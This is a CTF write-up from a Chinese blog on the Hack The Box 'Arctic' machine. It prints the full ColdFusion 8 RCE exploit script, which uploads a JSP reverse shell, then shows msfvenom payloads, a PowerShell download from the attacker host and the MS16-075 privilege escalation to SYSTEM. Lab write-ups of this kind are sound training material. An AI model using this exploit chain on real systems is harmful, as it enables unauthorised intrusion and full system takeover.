HTB：Arctic[WriteUP]_htb arctic-CSDN博客

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -I http://10.10.10.11:8500
HTTP/1.0 200 OK
Date: Wed, 20 Nov 2024 08:44:57 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Server: JRun Web Server

漏洞利用

使用浏览器访问URL：http://10.10.10.11:8500

进入CFIDE目录中，点击administrator/

进入到了不知名的后台登录界面，可知该WebAPP为：COLDFUSION 8

使用searchsploit搜索该WebAPP

searchsploit coldfusion 8

启动Metasploit尝试在MSF中利用该漏洞

msfconsole

搜索该WebAPP获取相关漏洞模块

search COLDFUSION 8

首先选中该RCE漏洞扫描模块

use auxiliary/gather/adobe_coldfusion_fileread_cve_2023_26360

手动利用searchsploit中的EXP

将EXP拷贝到当前目录下

searchsploit -m 50057.py

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# searchsploit -m 50057.py
Exploit: Adobe ColdFusion 8 - Remote Command Execution (RCE)
      URL: https://www.exploit-db.com/exploits/50057
     Path: /usr/share/exploitdb/exploits/cfm/webapps/50057.py
    Codes: CVE-2009-2265
Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/kali/Desktop/temp/50057.py

查看该EXP代码

# Exploit Title: Adobe ColdFusion 8 - Remote Command Execution (RCE)
# Google Dork: intext:"adobe coldfusion 8"
# Date: 24/06/2021
# Exploit Author: Pergyz
# Vendor Homepage: https://www.adobe.com/sea/products/coldfusion-family.html
# Version: 8
# Tested on: Microsoft Windows Server 2008 R2 Standard
# CVE : CVE-2009-2265

#!/usr/bin/python3

from multiprocessing import Process
import io
import mimetypes
import os
import urllib.request
import uuid

class MultiPartForm:

    def __init__(self):
        self.files = []
        self.boundary = uuid.uuid4().hex.encode('utf-8')
        return

    def get_content_type(self):
        return 'multipart/form-data; boundary={}'.format(self.boundary.decode('utf-8'))

    def add_file(self, fieldname, filename, fileHandle, mimetype=None):
        body = fileHandle.read()

        if mimetype is None:
            mimetype = (mimetypes.guess_type(filename)[0] or 'application/octet-stream')

        self.files.append((fieldname, filename, mimetype, body))
        return

    @staticmethod
    def _attached_file(name, filename):
        return (f'Content-Disposition: form-data; name="{name}"; filename="{filename}"\r\n').encode('utf-8')

    @staticmethod
    def _content_type(ct):
        return 'Content-Type: {}\r\n'.format(ct).encode('utf-8')

    def __bytes__(self):
        buffer = io.BytesIO()
        boundary = b'--' + self.boundary + b'\r\n'

        for f_name, filename, f_content_type, body in self.files:
            buffer.write(boundary)
            buffer.write(self._attached_file(f_name, filename))
            buffer.write(self._content_type(f_content_type))
            buffer.write(b'\r\n')
            buffer.write(body)
            buffer.write(b'\r\n')

        buffer.write(b'--' + self.boundary + b'--\r\n')
        return buffer.getvalue()

def execute_payload():
    print('\nExecuting the payload...')
    print(urllib.request.urlopen(f'http://{rhost}:{rport}/userfiles/file/{filename}.jsp').read().decode('utf-8'))

def listen_connection():
    print('\nListening for connection...')
    os.system(f'nc -nlvp {lport}')

if __name__ == '__main__':
    # Define some information
    lhost = '10.10.16.4'
    lport = 4444
    rhost = "10.10.10.11"
    rport = 8500
    filename = uuid.uuid4().hex

    # Generate a payload that connects back and spawns a command shell
    print("\nGenerating a payload...")
    os.system(f'msfvenom -p java/jsp_shell_reverse_tcp LHOST={lhost} LPORT={lport} -o {filename}.jsp')

    # Encode the form data
    form = MultiPartForm()
    form.add_file('newfile', filename + '.txt', fileHandle=open(filename + '.jsp', 'rb'))
    data = bytes(form)

    # Create a request
    request = urllib.request.Request(f'http://{rhost}:{rport}/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm?Command=FileUpload&Type=File&CurrentFolder=/{filename}.jsp%00', data=data)
    request.add_header('Content-type', form.get_content_type())
    request.add_header('Content-length', len(data))

    # Print the request
    print('\nPriting request...')

    for name, value in request.header_items():
        print(f'{name}: {value}')

    print('\n' + request.data.decode('utf-8'))

    # Send the request and print the response
    print('\nSending request and printing response...')
    print(urllib.request.urlopen(request).read().decode('utf-8'))

    # Print some information
    print('\nPrinting some information for debugging...')
    print(f'lhost: {lhost}')
    print(f'lport: {lport}')
    print(f'rhost: {rhost}')
    print(f'rport: {rport}')
    print(f'payload: {filename}.jsp')

    # Delete the payload
    print("\nDeleting the payload...")
    os.system(f'rm {filename}.jsp')

    # Listen for connections and execute the payload
    p1 = Process(target=listen_connection)
    p1.start()
    p2 = Process(target=execute_payload)
    p2.start()
    p1.join()
    p2.join()

对EXP中的参数进行修改，参考自身攻击机IP、靶机IP

保存后直接通过python3运行该脚本

python 50057.py

查找user_flag位置并查看其内容

C:\ColdFusion8\runtime\bin>cd C:\
cd C:\

C:\>dir /s user.txt
dir /s user.txt
Volume in drive C has no label.
Volume Serial Number is 5C03-76A8

Directory of C:\Users\tolis\Desktop

20/11/2024 10:32 ��                34 user.txt
               1 File(s)             34 bytes

     Total Files Listed:
               1 File(s)             34 bytes
               0 Dir(s)   1.434.140.672 bytes free

C:\>type C:\Users\tolis\Desktop\user.txt
type C:\Users\tolis\Desktop\user.txt
acd80ef3b8317d0b6617e55fadb7292f

USER_FLAG：acd80ef3b8317d0b6617e55fadb7292f

特权提升

查看靶机系统信息

systeminfo

使用msfvenom生成一个x64的木马

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.16.7 LPORT=4444 -f exe > shell.exe

攻击机通过python开启http服务

python -m http.server 6666

靶机将该木马进行下载

powershell.exe -Command "IEX(New-Object Net.WebClient).DownloadFile('http://10.10.16.7:6666/shell.exe','shell.exe')"

MSF中切换到监听模块

use exploit/multi/handler

配置好选项：PAYLOAD、LHOST、LPORT，开始监听

run

靶机直接运行shell.exe文件

shell.exe

将Meterpreter收进会话

background

meterpreter > load priv
[!] The "priv" extension has already been loaded.
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: 1726 The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)
[-] Named Pipe Impersonation (PrintSpooler variant)
[-] Named Pipe Impersonation (EFSRPC variant - AKA EfsPotato)
meterpreter > background
[*] Backgrounding session 1...

使用MSF自带的提权漏洞扫描模块

use post/multi/recon/local_exploit_suggester

设置执行会话

set SESSION 1

开始扫描

run

[+] 10.10.10.11 - exploit/windows/local/bypassuac_comhijack: The target appears to be vulnerable.
[+] 10.10.10.11 - exploit/windows/local/bypassuac_dotnet_profiler: The target appears to be vulnerable.
[+] 10.10.10.11 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.10.10.11 - exploit/windows/local/bypassuac_sdclt: The target appears to be vulnerable.
[+] 10.10.10.11 - exploit/windows/local/cve_2019_1458_wizardopium: The target appears to be vulnerable.
[+] 10.10.10.11 - exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
[+] 10.10.10.11 - exploit/windows/local/cve_2020_1054_drawiconex_lpe: The target appears to be vulnerable.
[+] 10.10.10.11 - exploit/windows/local/cve_2021_40449: The service is running, but could not be validated. Windows 7/Windows Server 2008 R2 build detected!
[+] 10.10.10.11 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.11 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.10.10.11 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[+] 10.10.10.11 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 10.10.10.11 - exploit/windows/local/ms16_075_reflection_juicy: The target appears to be vulnerable.

我这里选用最后一个模块

use exploit/windows/local/ms16_075_reflection_juicy

配置好选项：PAYLOAD、LHOST、LPORT、SESSION

msf6 exploit(windows/local/ms16_075_reflection_juicy) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms16_075_reflection_juicy) > set LHOST 10.10.16.7
LHOST => 10.10.16.7
msf6 exploit(windows/local/ms16_075_reflection_juicy) > set LPORT 2323
LPORT => 2323
msf6 exploit(windows/local/ms16_075_reflection_juicy) > set SESSION 1
SESSION => 1

成功提权到系统权限

exploit

msf6 exploit(windows/local/ms16_075_reflection_juicy) > exploit

[*] Started reverse TCP handler on 10.10.16.7:2323
[+] Target appears to be vulnerable (Windows 2008 R2)
[*] Launching notepad to host the exploit...
[+] Process 2908 launched.
[*] Reflectively injecting the exploit DLL into 2908...
[*] Injecting exploit into 2908...
[*] Exploit injected. Injecting exploit configuration into 2908...
[*] Configuration injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (203846 bytes) to 10.10.10.11
[*] Meterpreter session 4 opened (10.10.16.7:2323 -> 10.10.10.11:50090) at 2024-11-18 23:27:03 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

查找root_flag位置

search -f root.txt

切换到终端查看root_flag内容

meterpreter > shell
Process 3508 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>type "c:\Documents and Settings\Administrator\Desktop\root.txt"
type "c:\Documents and Settings\Administrator\Desktop\root.txt"
6af9c0d743e873fb18f877949320dd8e

C:\Windows\system32>type c:\Users\Administrator\Desktop\root.txt
type c:\Users\Administrator\Desktop\root.txt
6af9c0d743e873fb18f877949320dd8e